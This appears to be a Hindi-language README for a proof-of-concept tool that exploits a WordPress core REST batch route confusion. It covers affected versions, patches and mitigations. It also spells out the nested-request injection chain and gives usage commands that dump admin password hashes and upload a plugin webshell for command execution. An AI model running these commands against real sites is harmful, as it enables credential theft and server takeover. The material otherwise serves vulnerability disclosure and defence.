
CVE-2026-63030
अनधिकृत SQL इंजेक्शन के लिए प्रूफ-ऑफ-कॉन्सेप्ट जो WordPress कोर में REST बैच रूट कन्फ्यूज़न (CVE-2026-63030) के माध्यम से रिमोट कोड निष्पादन तक श्रृंखलित होता है।
एक्सप्लॉइट को किसी क्रेडेंशियल या लक्ष्य तक पहुँचने के अलावा किसी कॉन्फ़िगरेशन की आवश्यकता नहीं है। यह इंजेक्शन तक एक ही एंडपॉइंट के माध्यम से पहुँचता है: POST/wp-json/batch/v1।
निष्कर्ष यह है कि अनधिकृत SQL इंजेक्शन — check इसकी पुष्टि करता है और read मनमाना डेटाबेस पठन प्रदर्शित करता है। shell कमांड वैकल्पिक पोस्ट-एक्सप्लॉइटेशन है (पुनर्प्राप्त व्यवस्थापक क्रेडेंशियल → प्लगइन अपलोड → कमांड निष्पादन), जो पूर्ण प्रभाव प्रदर्शित करने के लिए शामिल किया गया है; यह भेद्यता नहीं है।
| शाखा | प्रभावित | निर्धारित |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
इस श्रृंखला से 6.9.0 से पहले के संस्करण प्रभावित नहीं हैं।
REST बैच एंडपॉइंट (/batch/v1) अनधिकृत है और एक कॉल में कई उप-अनुरोध चलाता है, प्रत्येक उप-अनुरोध को अपने आप मान्य और अनुमति-जाँच किए जाने पर निर्भर करता है।
serve_batch_request_v1() दो समानांतर सरणी बनाता है — $matches (प्रति उप-अनुरोध मिलान किया गया हैंडलर) और $validation (प्रति उप-अनुरूप मान्यता परिणाम) — फिर प्रेषण करते समय दोनों को समान ऑफसेट द्वारा अनुक्रमित करता है। जिस उप-अनुरोध का पथ wp_parse_url() में विफल होता है, उसे $validation में जोड़ा जाता है लेकिन $matches में नहीं, इसलिए सरणी चरण से बाहर हो जाती हैं और एक उप-अनुरोध को भिन्न उप-अनुरोध के हैंडलर के अंतर्गत प्रेषित किया जाता है। यही रूट कन्फ्यूज़न है।
PoC प्राइमिटिव को दो बार नेस्ट करता है:
POST/wp/v2/posts अनुरोध जो requests बॉडी रखता है, बैच हैंडलर के तहत ही प्रेषित किया जाता है। पोस्ट अनुरोध के रूप में मान्य होने के बाद, इसकी requests सूची कभी भी बैच स्कीमा के विरुद्ध जाँची नहीं जाती है, इसलिए इसके उप-अनुरोध GET का उपयोग कर सकते हैं — विधि अनुमति-सूची को दरकिनार कर दिया जाता है।GET/wp/v2/users अनुरूप जो author_exclude स्ट्रिंग रखता है (उपयोगकर्ता स्कीमा में ऐसा कोई पैरामीटर नहीं है, इसलिए मान बिना छेड़छाड़ के मान्यता पास करता है), पोस्ट get_items() के अंतर्गत प्रेषित किया जाता है। वहाँ author_exclude WP_Query के author__not_in क्वेरी वेरिएबल पर मैप होता है, जिसे असुरक्षित बिल्ड SQL में एक स्ट्रिंग के रूप में इंटरपोलेट करता है।परिणाम एक बूलियन- और समय-आधारित ब्लाइंड SQL इंजेक्शन है जो प्रमाणीकरण-पूर्व तक पहुँच योग्य है। डेटाबेस पढ़ने की पहुँच के साथ व्यवस्थापक पासवर्ड हैश को पुनर्प्राप्त किया जा सकता है; एक बार क्रैक होने पर, व्यवस्थापक पहुँच प्लगइन अपलोड के माध्यम से कोड निष्पादन प्रदान करती है।
Python 3.8+ और मानक पुस्तकालय। कोई तृतीय-पक्ष निर्भरता नहीं।
इसे रिपॉजिटरी निर्देशिका से चलाएँ:
./wp2shell.py <command> <url> [options]
या pip install . ताकि आपके PATH पर wp2shell कमांड उपलब्ध हो।
विभेदक समय विलंब के साथ शोषण की पुष्टि करता है। यह कोई डेटा नहीं पढ़ता और कुछ भी नहीं बदलता।
./wp2shell.py check http://target
./wp2shell.py read http://target # server fingerprint
./wp2shell.py read http://target --preset users # user logins and password hashes
./wp2shell.py read http://target --query "SELECT @@version"
वैकल्पिक पोस्ट-एक्सप्लॉइटेशन। मान्य व्यवस्थापक क्रेडेंशियल की आवश्यकता है; इंजेक्शन पासवर्ड हैश प्राप्त करता है, इसलिए यहाँ पुनर्प्राप्त सादा पाठ प्रदान करें।
./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
./wp2shell.py shell http://target --user admin --password '<recovered>' -i # interactive shell
shell एक प्लगइन वेबशेल अपलोड करता है (एक यादृच्छिक पथ और प्रति-रन टोकन के पीछे बंद) और उसका पथ प्रिंट करता है। समाप्त होने पर इसे हटा दें।
WordPress 6.9.5 या 7.0.2 में अपडेट करें। तब तक, /wp-json/batch/v1 और rest_route=/batch/v1 क्वेरी पैरामीटर दोनों को एज पर ब्लॉक करें, या rest_pre_dispatch फ़िल्टर के माध्यम से बैच एंडपॉइंट के लिए प्रमाणीकरण आवश्यक करें।
केवल अधिकृत सुरक्षा परीक्षण के लिए। इसका उपयोग विशेष रूप से उन सिस्टमों के विरुद्ध करें जिनके आप मालिक हैं या जिनके परीक्षण की आपके पास स्पष्ट लिखित अनुमति है। लेखक दुरुपयोग के लिए कोई देयता स्वीकार नहीं करता।
| विकल्प | लागू होता है | विवरण |
|---|
--rest-route | सभी | उपयोग करें /?rest_route=/batch/v1 (उन साइटों के लिए जिनमें सुंदर पर्मालिंक नहीं हैं)। |
--proxy URL | सभी | HTTP प्रॉक्सी के माध्यम से ट्रैफ़िक रूट करें (उदाहरण के लिए, Burp)। |
--timeout N | सभी | सेकंड में अनुरोध टाइमआउट। |
--sleep N | check | इंजेक्शन की पुष्टि करने के लिए उपयोग किया गया विलंब। |
--preset | read | fingerprint या users। |
--query | read | पढ़ने के लिए एक अदिश SQL अभिव्यक्ति। |
--prefix | read | डेटाबेस तालिका उपसर्ग (डिफ़ॉल्ट wp_)। |
--max-length N | read | प्रति मान पढ़े जाने वाले अधिकतम वर्ण (डिफ़ॉल्ट 128)। |
--user / --password | shell | व्यवस्थापक क्रेडेंशियल (सादा पाठ, हैश से पुनर्प्राप्त)। |
--cmd | shell | चलाने के लिए कमांड (-i का उपयोग करते समय छोड़ें)। |
-i / --interactive | shell | तैनाती के बाद एक इंटरैक्टिव शेल खोलें। |